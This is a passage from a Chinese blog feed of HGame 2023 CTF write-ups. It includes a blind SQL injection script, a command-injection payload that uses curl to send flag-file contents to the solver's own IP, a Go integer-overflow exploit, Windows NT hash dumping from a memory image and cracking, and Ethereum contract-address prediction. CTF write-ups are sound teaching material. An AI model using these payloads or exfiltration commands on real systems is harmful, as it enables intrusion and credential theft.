class="language-text">4_New_Type_8in_Steg4n0graphy</code></pre><p>相差了5，说明至少有5位二进制位是错误的，经过反复尝试后，最终得到正解：</p><pre><code class="language-text">4_New_Type_1mg_Steg4n0graphy</code></pre><p>故最终flag为：</p><pre><code class="language-text">hgame{4_New_Type_1mg_Steg4n0graphy}</code></pre><h3 id="%E5%90%8E%E8%AE%B0%EF%BC%88%E7%88%86%E7%A0%B4%E7%AE%97%E6%B3%95%E4%BC%98%E5%8C%96%EF%BC%8C%E6%9B%B4%E6%8E%A5%E8%BF%91%E5%94%AF%E4%B8%80%E8%A7%A3%EF%BC%89" tabindex="-1">后记（爆破算法优化，更接近唯一解）</h3><p>笔者在整理题解的时候发现，爆破过程中，笔者只关注了是否全部差异点都在flag内，而没有关注flag内少了多少个差异点，如果把这个也加上，取减少差异点最多的那些值，不就大概率是正解了吗？优化后代码如下：</p><pre><code class="language-python">import stringfrom io import BytesIOimport requestsfrom PIL import Imagefrom tqdm import tqdmwidth = 1200height = 900try_txt = &#39;hgame{&#39;dic = &#39;_&#39; + string.digits + string.ascii_lettersdef diff(img1: Image, img2: Image, show=False):    diff_set = set()    w, h = img1.size    cnt = 0    for x in range(w):        for y in range(h):            cnt += 1            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]                diff_set.add(f&quot;{x},{y},{dif}&quot;)                if show:                    print(f&quot;{x} {y} {cnt} {dif}&quot;)    return diff_setdef getPic(text):    ret = requests.post(&#39;http://week-4.hgame.lwsec.cn:31930/upload&#39;, files={        &#39;file&#39;: ori    }, data={        &#39;text&#39;: text,    }).content    im = Image.open(BytesIO(ret))    return imif __name__ == &#39;__main__&#39;:    ori = open(&#39;steg/problem.png&#39;, &#39;rb&#39;).read()    ori_img = Image.open(&#39;steg/problem.png&#39;)    flag = diff(ori_img, Image.open(f&#39;steg/flag.png&#39;))    already_exists = diff(ori_img, getPic(try_txt))    while True:        minDelta = 0xfffffff        lis = []        for t in tqdm(dic):            img = getPic(try_txt + t)            dif = diff(ori_img, img)            if len(dif - flag) == 0 and len(already_exists - dif) == 0:                delta = len(flag - dif)                if delta &gt; minDelta:                    continue                if delta &lt; minDelta:                    lis = []                    minDelta = delta                lis.append(t)                print(try_txt + t)        try_txt += lis[0]        print(&#39;&#39;.join(lis))</code></pre><p>虽然速度没有变快，全部爆破仍然需要一个多小时，但是未知量大大减少，除了末尾部分全部算对了，值得一用！</p><h2 id="%5Bmisc%5D-ezwin---variables" tabindex="-1">[MISC] ezWin - variables</h2><p>本题考查基础的Windows内存取证，第一题的flag在环境变量中，最最最简单的办法就是打开<code>vmem</code>，全文搜索<code>hgame</code>即可，得到flag：</p><pre><code class="language-text">hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}</code></pre><h2 id="%5Bmisc%5D-ezwin---auth" tabindex="-1">[MISC] ezWin - auth</h2><p>根据题目要求，使用volatility3进行内存取证。<br />首先，输入</p><pre><code class="language-shell">python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.cmdline</code></pre><p>查看命令行记录：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/b91c232a64924fa982a2f9a8fa66ec4d.png" alt="6a96dfad3f961973d960704a6bbfa4b7.png" /><br />发现提示：</p><pre><code class="language-text">flag2 is nthash of current user.txt</code></pre><p>说明本题的flag是当前用户的<code>nthash</code>，根据常识，我们可以知道，用户名应该是<code>Noname</code><br />于是输入</p><pre><code class="language-shell">python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.hashdump </code></pre><p>获得<code>nthash</code>：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/44baf1421ef24ddfb66aa6e5b696cc4b.png" alt="99a1f1b4ad5b83d11782e8f4ea087b76.png" /><br />所以flag为：</p><pre><code class="language-text">hgame{84b0d9c9f830238933e7131d60ac6436}</code></pre><h2 id="%5Bmisc%5D-ezwin---7zip" tabindex="-1">[MISC] ezWin - 7zip</h2><p>由题可知，flag肯定和上题中出现的<code>flag.7z</code>有关系，输入</p><pre><code class="language-shell">python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.filescan | grep -E &#39;7z&#39;</code></pre><p>查找<code>flag.7z</code>的具体位置：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/71d2ea95b19244ec8977960960f586e5.png" alt="d9a319592228da464f12b9140bf4e8d2.png" /><br />发现<code>0xd0064181c950</code>和<code>0xd00641b5ba70</code>都可以，笔者选择后者，然后输入指令将文件导出：</p><pre><code class="language-shell">python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.dumpfiles --virtaddr=0xd00641b5ba70</code></pre><p><img src="https://blog.vvbbnn00.cn/upload/2023/02/30e2c7c7f91e414f8af20c19218de4f7.png" alt="b3904e6e7665ae4ca588dcdd3690a193.png" /><br />去除后缀名<code>.vacb</code>即可打开文件<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/eef564bba6994b6abd52fc3b1d59331f.png" alt="59a5919bdebede1284b932eddd23410f.png" /><br />打开后发现需要密码，密码是<code>nthash</code>的原文，使用<a href="https://www.cmd5.com/" target="_blank">https://www.cmd5.com/</a>轻松获得（而且还不要钱）：</p><pre><code class="language-text">asdqwe123</code></pre><p>输入密码，打开文件，得到flag：</p><pre><code class="language-text">hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}</code></pre><h2 id="%5Bblockchain%5D-transfer-2" tabindex="-1">[BLOCKCHAIN] Transfer 2</h2><p>本题的关键是不要先部署合约，先看代码。</p><pre><code class="language-solidity">// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.7;contract Transfer2{    Challenge public chall;    event SendFlag();    bytes32 constant salt = keccak256(&quot;HGAME 2023&quot;);    constructor() {        chall = new Challenge{salt: salt}();        if (chall.flag()){            emit SendFlag();        }    }    function getCode() pure public returns(bytes memory){        return type(Challenge).creationCode;    }}contract Challenge{    bool public flag;    constructor(){        if(address(this).balance &gt;= 0.5 ether){            flag = true;        }    }}</code></pre><p>观察代码可知，如果事先没有满足条件（即<code>balance&gt;=0.5 ether</code>），那么是不可能触发<code>sendFlag</code>事件的，因为<code>constructor</code>不可能二次调用，同时，部署账号的私钥未知，不可能使用<code>create2</code>或者<code>create</code>函数重新部署合约（即使已知也做不到，因为<code>Transfer2</code>合约是使用<code>create</code>部署的，该函数以账户交易次数作为<code>nonce</code>）。通过<code>hash</code>碰撞来生成一个可以覆盖合约的地址的想法是愚蠢的，因为<code>SHA3</code>在目前来看，碰撞几率几乎为0。<br />以上所有想法笔者都花了一天的时间去尝试和验证，因此不必再试了。<br />这么说，这道题难道就真的无解吗？当然不是，因为只要我们实现知道合约部署在什么地方，往那个<code>Challenge</code>合约先转个<code>1 ether</code>不就行了。<br />那么如何预测合约部署的地址呢？首先，我们创建一个账户，向账户转账<code>1 ether</code>，但是先不要部署合约。这时候，我们拿到了账户地址，例如：</p><pre><code class="language-text">0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245</code></pre><p>接下来，我们确认该账户的交易次数：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/f539a53de5ea49d2ba904a14872f3c11.png" alt="04b4f54c1d62989ab611f2b1cd745930.png" /><br />可以发现，是0次，接下来，我们确定后端部署合约的方式。<br />通过搜索引擎可知，题目是基于该项目编写的：<a href="https://github.com/chainflag/eth-challenge-base" target="_blank">https://github.com/chainflag/eth-challenge-base</a>，查阅其中的合约部署相关代码：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/5f6f0a0bc7514facbf8385866a327ec4.png" alt="f68db53e37c49259d6cf05fae0cd0204.png" /><br />可以发现，没有<code>salt</code>的影子，因此底层应该是使用<code>create</code>函数部署的合约。<br />查阅文档可知，<code>create</code>函数部署的合约，地址生成规则为：</p><pre><code class="language-solidity">keccak256(rlp([sender, nonce]))</code></pre><p>现在，<code>sender</code>和<code>nonce</code>都已知，那么接下来要部署的合约地址便也提前知道了。<br />不过，我们的目的是要知道该合约创建的<code>Challenge</code>合约的地址，因此，再次阅读代码：</p><pre><code class="language-solidity">//...    bytes32 constant salt = keccak256(&quot;HGAME 2023&quot;);    constructor() {        chall = new Challenge{salt: salt}();//...</code></pre><p>很明显，此处的合约使用的是<code>create2</code>方式部署的。<br /><code>create2</code>函数生成的地址规则如下：</p><pre><code class="language-solidity">keccak256(0xff + sender + salt + keccak256(init_code))</code></pre><p>其中，<code>sender</code>、<code>salt</code>已知，<code>init_code</code>可以实现部署一个用于测试的合约，调用合约的<code>getCode</code>函数得到，这样一来<code>Challenge</code>的合约地址也可以预测出来了，以下是实现地址预测的代码：</p><pre><code class="language-python">from rlp import encodefrom web3 import Web3prefix = &#39;0xff&#39;creator = &#39;E2EF078018b6DcaC3daBF17D82d2DA5554657fD4&#39;knownSalt = &#39;3ec137672b90366126b6416bd4fd1eba98d6887a1303a5e0e5e2d475e91efbc5&#39;  # HGAME 2023knownHash = &#39;935f3dbc7af8507be23c7688266f5d8ac74359011f4c43e806bfd4f077cdcb2f&#39;deployer = 0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245if __name__ == &#39;__main__&#39;:    nonce = 0x0    hashed = Web3.sha3(encode([deployer, nonce]))[12:]    contractAddress = &#39;&#39;.join([&#39;%02x&#39; % b for b in hashed])    print(&#39;contractAddress&#39;, contractAddress)    predict = prefix + contractAddress + knownSalt + knownHash    hashed = Web3.sha3(hexstr=predict)[12:]    hashed_str = &#39;&#39;.join([&#39;%02x&#39; % b for b in hashed])    print(&#39;ChallengeAddress&#39;, hashed_str)</code></pre><p>运行得到<code>Transfer2</code>合约地址和<code>Challenge</code>合约地址：</p><pre><code class="language-text">contractAddress 021fd257cdce9a7b4a98e21b56eea7ee8cf4425bChallengeAddress 8a65af3404b37704dc25883b061e65547d934c81</code></pre><p>向地址<code>0x8a65af3404b37704dc25883b061e65547d934c81</code>转账<code>1 eth</code>，然后部署合约：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/7a697647ee974b69a91c9b4a061acec0.png" alt="5b30990dba457e735277d4dedfc44e3c.png" /><br />可见，<code>Transfer2</code>的合约地址与预测一致。<br />最后，提交返回的<code>transaction hash</code>，获得flag：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/02/7f65d19b177141afa453e702cfca9ccd.png" alt="b96305c6738cd0dcc161df1a34c4dfc6.png" /></p><p>得到flag：</p><pre><code class="language-text">hgame{e0638df02eec0ccaa653b66de526c282a335ed3e}</code></pre>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[HGame 2023 Week3 部分Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/hgame2023week3-bu-fen-writeup" />
                <id>tag:https://blog.vvbbnn00.cn,2023-01-30:hgame2023week3-bu-fen-writeup</id>
                <published>2023-01-30T20:00:00+08:00</published>
                <updated>2023-01-29T17:19:57+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p>本周在迎新春，走亲戚（真的很忙），外加题目难度增加，笔者比较菜，因此只解出了寥寥几题，不过姑且也算是一些成就，故作此题解，希望能够对各位读者有些帮助。</p><blockquote><p>Week3 比赛地址：<a href="https://hgame.vidar.club/contest/4" target="_blank">https://hgame.vidar.club/contest/4</a></p></blockquote><h2 id="%5Bweb%5D-login-to-get-my-gift" tabindex="-1">[WEB] Login To Get My Gift</h2><p>本题考查的同样是SQL注入，不过与之前不同的是，这次考察的是盲注，且从上周的过滤关键词转为了检测到关键词就拒绝请求。启动环境后，首先，笔者使用用户名<code>testuser</code>，密码<code>testpassword</code>登录系统，抓取登录请求后在postman中进行调试。<br />经过测试，<code>and</code>、空格、<code>substr</code>、<code>mid</code>等被过滤，但是<code>or</code>、<code>left</code>、<code>right</code>等可以使用。笔者猜测，SQL语句大抵是类似<code>SELECT * FROM table WHERE username='xxx' and password='xxx' ...</code>的，因此，如果在<code>password</code>处截断注入，而且使用<code>or</code>语句，则需要保证<code>username</code>和<code>password</code>不同时正确，否则无法进行盲注（或者也可以使用时间盲注，这样就不用考虑回显了）。<br />这是我最终构造的盲注语句：</p><pre><code class="language-text">testpassword1&#39;Or/*a*/if(ascii(right(%s,%s))-%s,0,1)#</code></pre><p>此处，由于<code>ascii</code>函数只返回字符串第一个字符的ASCII码，因此，可以用<code>right</code>函数从后往前爆破，下面是完整的python脚本：</p><pre><code class="language-python">import stringimport requestsif __name__ == &#39;__main__&#39;:    url = &quot;http://week-3.hgame.lwsec.cn:30453/login&quot;    index = 0    s = &#39;&#39;    trytxt = &quot;(SELECt/*a*/group_Concat(PAssw0rD)/*a*/frOm/*a*/User1nf0mAt1on)&quot;    curr_index = 0    while True:        for i in range(32, 127):            ret = requests.post(url, data={                &#39;username&#39;: &#39;testuser&#39;,                &#39;password&#39;: &#39;testpassword1\&#39;Or/*a*/if(ascii(right(%s,%s))-%s,0,1)#&#39; % (trytxt, index + 1, i)            })            if &#39;Success&#39; in ret.text:                s = chr(i) + s                print(s)                break        index += 1</code></pre><p>首先尝试爆破数据表：</p><pre><code class="language-sql">(SELECt/*a*/group_Concat(table_name)/*a*/frOm/*a*/infOrmation_schema.tables/*a*/whEre/*a*/table_schema/*a*/in(database()))</code></pre><p>得到数据表名为：</p><pre><code class="language-text">User1nf0mAt1on</code></pre><p>接着获得字段：</p><pre><code class="language-sql">(SELECt/*a*/group_Concat(column_name)/*a*/frOm/*a*/infOrmation_schema.columns/*a*/whEre/*a*/table_name/*a*/in(&#39;User1nf0mAt1on&#39;))</code></pre><p>得到字段：</p><pre><code class="language-text">id,PAssw0rD,UsErN4me</code></pre><p>最后获得用户名和密码：</p><pre><code class="language-sql">(SELECt/*a*/group_Concat(UsErN4me)/*a*/frOm/*a*/User1nf0mAt1on)(SELECt/*a*/group_Concat(PAssw0rD)/*a*/frOm/*a*/User1nf0mAt1on)</code></pre><p>得到管理员账户：</p><pre><code class="language-text">hgAmE2023HAppYnEwyEArWeLc0meT0hgAmE2023hAPPySql</code></pre><p>登录后访问<code>/home</code>获得flag：</p><pre><code class="language-text">hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}</code></pre><h2 id="%5Bweb%5D-gopher-shop" tabindex="-1">[WEB] Gopher Shop</h2><p>下载源代码，在本地编译调试，发现SQL方面似乎没有可以注入的漏洞，但是<code>user.go</code>文件中的部分函数似乎存在整数溢出漏洞：</p><pre><code class="language-go">func BuyProduct(context *gin.Context) {username, _ := context.Get(&quot;username&quot;)user, err := db.GetUserByUsername(username.(string))if err != nil {return}product := context.Query(&quot;product&quot;)price, err := db.GetProductPrice(product)number, err := strconv.Atoi(context.Query(&quot;number&quot;))//校验是否买的起if err != nil || number &lt; 1 || user.Balance &lt; uint(number)*price {context.JSON(400, gin.H{&quot;error&quot;: &quot;invalid request&quot;})return}// ...</code></pre><p>此处看似使用了<code>strconv.Atoi</code>，无懈可击，但是后面的比较语句中<code>uint(number)*price</code>仍然存在溢出的可能，可以在程序中添加</p><pre><code class="language-go">println(&quot;total:&quot;, uint(number)*price, err)println(&quot;number:&quot;, uint(number), err)</code></pre><p>来查看溢出的情况。<br />经过测试，<code>strconv.Atoi</code>似乎对于一切大于<code>9223372036854775808</code>的数，都会强制转换为<code>9223372036854775808</code>，同时，<code>uint(number)*price</code>的最大乘积结果为<code>18446744073709551616</code>，超出后就会溢出。在商店中，我们看到<code>Apple</code>的售价是<code>10</code>，而<strong>10*1844674407370955162</strong>在该程序中得出的结果是<code>4</code>（即相比于最大值<code>18446744073709551616</code>，溢出了<code>4</code>），我们的初始余额(<code>Vidar Coin</code>)是<code>10</code>，因此，可以利用这个漏洞购买大量的<s>林檎</s>苹果，然后再出售，即可获得足够购买flag程度的余额了。<br />因此，解题步骤为：首先购买<code>1844674407370955162</code>个Apple，接着分批次卖出（不能同时卖，因为数字过大了），然后购买flag即可</p><p>最后得到flag：</p><pre><code class="language-text">hgame{GopherShop_M@gic_1nt_0verflow}</code></pre><h2 id="%5Bweb%5D-ping-to-the-host" tabindex="-1">[WEB] Ping To The Host</h2><p>这道题在第三周中算是难度较低的一道，简单来说，就是一个无回显的<code>linux shell</code>，不过后端过滤了<code>flag</code>、空格、<code>cat</code>等字符，需要进行一个简单的绕过。<br />首先在自己的服务器或电脑（开端口穿透）上开一个监听（或者HTTP服务器，只要能接收到传回的数据即可），接着，用<code>ls</code>找到flag的位置：</p><pre><code class="language-shell">127.0.0.1${IFS}&amp;&amp;${IFS}curl${IFS}[你的IP]:65532/&#96;ls${IFS}/${IFS}|base64&#96;</code></pre><p>解码base64，得到简单的目录结构：</p><pre><code class="language-text">appbinbootdevetcflag_is_here_hahahomeliblib64med</code></pre><p>然后，读取flag文件：</p><pre><code class="language-shell">127.0.0.1${IFS}&amp;&amp;${IFS}curl${IFS}[你的IP]:65532/&#96;nl${IFS}/????_is_here_haha|base64&#96;</code></pre><p>得到flag：</p><pre><code class="language-text">hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}</code></pre><h2 id="%5Breverse%5D-kunmusic" tabindex="-1">[REVERSE] kunmusic</h2><p><strong>怎么到处都有小黑子（恼）</strong><br />这道题考察的是<code>.net</code>程序的反编译，笔者使用<code>ILSpy</code>对<code>kmusic.dll</code>进行反编译，发现程序中似乎暗藏玄只因，在程序运行时，会对<code>Resource.data</code>进行异或解密：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/9d691c595d554952b7bc3d41bf6d9073.png" alt="9d691c595d554952b7bc3d41bf6d9073" /><br />于是，笔者提取出这部分数据，也异或解密了一下：</p><pre><code class="language-python">if __name__ == &#39;__main__&#39;:    f = open(r&quot;C:\Users\vvbbnn00\Desktop\hgame\kmusic\data.bin&quot;, &quot;rb&quot;)    byte = bytearray()    for i in f.read():        byte.append(i^104)    open(r&#39;C:\Users\vvbbnn00\Desktop\hgame\kmusic\secret&#39;, &#39;wb&#39;).write(byte)</code></pre><p>解密后拖进IDA，发现可能是一个<code>.net</code>库，于是也用<code>ILSpy</code>加载了一下，发现里面的唱、跳、RAP函数都没有什么问题，但是<code>music</code>却出乎意料的长：</p><pre><code class="language-c#">public void music(object sender, EventArgs e){if (num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 0x525F) == 12702282 &amp;&amp; num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] + 13299 + num[12] - 50966 == 9946829 &amp;&amp; num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 &amp;&amp; num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[12] + 25329 == 6732474 &amp;&amp; num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 &amp;&amp; num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 0x3099) == 14434062 &amp;&amp; num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 &amp;&amp; num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 &amp;&amp; (num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 + (num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 == 3504803 &amp;&amp; num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 0x4175) == 11003580 &amp;&amp; num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (num[12] ^ 0x2501) == 25546210 &amp;&amp; num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836 &amp;&amp; num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722){int[] array = new int[47]{132, 47, 180, 7, 216, 45, 68, 6, 39, 246,124, 2, 243, 137, 58, 172, 53, 200, 99, 91,83, 13, 171, 80, 108, 235, 179, 58, 176, 28,216, 36, 11, 80, 39, 162, 97, 58, 236, 130,123, 176, 24, 212, 56, 89, 72};string text = &quot;&quot;;for (int i = 0; i &lt; array.Length; i++){text += (char)(array[i] ^ num[i % num.Length]);}new SoundPlayer(Resources.过年鸡).Play();MessageBox.Show(text);}}</code></pre><p>很明显，这是一个十分复杂的方程，flag似乎就藏在<code>array[i] ^ num[i % num.Length]</code>的计算结果中。那么，后面需要做的事情便很明了了——解方程吧。但是，<strong>我不会！我不会！我不会！</strong> 怎么办？<br />我们知道，<code>hgame</code>的flag通常以<code>hgame{</code>开头，以<code>}</code>结尾，而分析代码发现，<code>num</code>只有13个，而密文的长度为<code>47</code>，则必然会存在重复，我们已知明文的前6位和最后一位（第46位），根据异或计算的特性，自然能够知道这些位置对应的秘钥，也就是说，秘钥的第<code>0-5</code>位和第<code>7</code>位（<strong>46 Mod 13 = 7</strong>）已知，剩下5位未知。同时，密文中，第<code>0-5</code>、<code>13-18</code>、…位和第<code>46</code>、<code>33</code>…位都可以先破译出来，剩下的只要猜猜就能出来啦（<br />以下是笔者尝试的代码：</p><pre><code class="language-c">#include &lt;stdio.h&gt;#include &lt;string.h&gt;char pass(int *num) {return num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 0xA114) + num[4] * 63747 + num[5] - 52714 + num[6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] - 59122 + num[11] - 12840 + (num[12] ^ 0x525F) == 12702282 &amp;&amp; num[0] - 25228 + (num[1] ^ 0x50DB) + (num[2] ^ 0x1FDE) + num[3] - 65307 + num[4] * 30701 + num[5] * 47555 + num[6] - 2557 + (num[7] ^ 0xBF9F) + num[8] - 7992 + (num[9] ^ 0xE079) + (num[10] ^ 0xE052) + num[11] + 13299 + num[12] - 50966 == 9946829 &amp;&amp; num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4] + 29882 + (num[5] ^ 0x3506) + (num[6] ^ 0x533E) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 0xD1BA) + num[10] * 58436 + num[11] * 15590 + num[12] + 58225 == 2372055 &amp;&amp; num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] + 21253 + num[5] - 38524 + num[6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] + 12995 + (num[11] ^ 0x995C) + num[12] + 25329 == 6732474 &amp;&amp; num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4] ^ 0x3F9C) + num[5] + 39390 + num[6] * 11803 + num[7] * 60332 + (num[8] ^ 0x483B) + (num[9] ^ 0x12BB) + num[10] - 25636 + num[11] - 16780 + num[12] - 62345 == 14020739 &amp;&amp; num[0] - 10968 + num[1] - 31780 + (num[2] ^ 0x7C71) + num[3] - 61983 + num[4] * 31048 + num[5] * 20189 + num[6] + 12337 + num[7] * 25945 + (num[8] ^ 0x1B98) + num[9] - 25369 + num[10] - 54893 + num[11] * 59949 + (num[12] ^ 0x3099) == 14434062 &amp;&amp; num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4] * 26571 + num[5] * 15086 + (num[6] ^ 0x59CA) + (num[7] ^ 0x5B35) + (num[8] ^ 0x3FFD) + (num[9] ^ 0x5A85) + num[10] - 40224 + num[11] + 31751 + num[12] * 8421 == 7433598 &amp;&amp; num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4] ^ 0x507) + (num[5] ^ 0x89C8) + num[6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 0xAF4A) + num[10] * 19764 + num[11] + 48342 + num[12] * 56511 == 7989404 &amp;&amp; (num[0] ^ 0x7132) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 + (num[4] ^ 0x9977) + num[5] - 48576 + (num[6] ^ 0x6F7E) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 + num[10] * 2823 + num[11] - 30343 + num[12] + 14780 == 3504803 &amp;&amp; num[0] * 22466 + (num[1] ^ 0xDABF) + num[2] - 53658 + (num[3] ^ 0xB838) + (num[4] ^ 0x30DF) + num[5] * 59807 + num[6] + 46242 + num[7] + 3052 + (num[8] ^ 0x62BF) + num[9] + 30202 + num[10] * 22698 + num[11] + 33480 + (num[12] ^ 0x4175) == 11003580 &amp;&amp; num[0] * 57492 + (num[1] ^ 0x346D) + num[2] - 13941 + (num[3] ^ 0xBBDC) + num[4] * 38310 + num[5] + 9884 + num[6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^ 0x4888) + num[11] * 49694 + (num[12] ^ 0x2501) == 25546210 &amp;&amp; num[0] - 23355 + num[1] * 50164 + (num[2] ^ 0x873A) + num[3] + 52703 + num[4] + 36245 + num[5] * 46648 + (num[6] ^ 0x12FA) + (num[7] ^ 0xA376) + num[8] * 27122 + (num[9] ^ 0xA44A) + num[10] * 15676 + num[11] - 31863 + num[12] + 62510 == 11333836 &amp;&amp; num[0] * 30523 + (num[1] ^ 0x1F36) + num[2] + 39058 + num[3] * 57549 + (num[4] ^ 0xD0C0) + num[5] * 4275 + num[6] - 48863 + (num[7] ^ 0xD88C) + (num[8] ^ 0xA40) + (num[9] ^ 0x3554) + num[10] + 62231 + num[11] + 19456 + num[12] - 13195 == 13863722;}int main() {int array[] = {132, 47, 180, 7, 216, 45, 68, 6, 39, 246,124, 2, 243, 137, 58, 172, 53, 200, 99, 91,83, 13, 171, 80, 108, 235, 179, 58, 176, 28,216, 36, 11, 80, 39, 162, 97, 58, 236, 130,123, 176, 24, 212, 56, 89, 72};char known[] = &quot;hgame{&quot;;int num[13] = {0};// knownfor (int i = 0; i &lt; 6; i++) {num[i] = known[i] ^ array[i];}num[7] = 72 ^ &#39;}&#39;;// guessnum[6] = 62;num[12] = 133;num[11] = 93;num[8] = 120; // ?num[9] = 199;num[10] = 15;for (int i = 0; i &lt; 13; i++) {if (num[i]) printf(&quot;%d, &quot;, num[i]);}printf(&quot;check: %s \n&quot;, pass(num) ? &quot;Pass&quot; : &quot;Fail&quot;);int length = sizeof(array) / sizeof(int);printf(&quot;length:%d\n&quot;, length);char text[48] = &quot;&quot;;for (int j = 0; j &lt; length; j++) {if (num[j % 13] == 0) continue;text[j] = (char)(array[j] ^ num[j % 13]);}if (pass(num)) {printf(&quot;%s&quot;, text);return 0;}for (int i = 6; i &lt; 13; i++) {if (num[i] != 0) continue;printf(&quot;Trying N%d...\n&quot;, i);for (int j = 0; j &lt; length; j++) {if (num[j % 13] == 0) text[j] = &#39;?&#39;;}for (int k = 0; k &lt; 256; k++) {char pass = 1;for (int j = i; j &lt; length; j += 13) {int tmp = (char)(array[j] ^ k);if (tmp &gt; 126 || tmp &lt; 32 || tmp == &#39;{&#39; || tmp == &#39;}&#39; || tmp == &#39; &#39;) {pass = 0;break;}}if (!pass) continue;for (int j = i; j &lt; length; j += 13) {text[j] = (char)(array[j] ^ k);}printf(&quot;possible: %s, 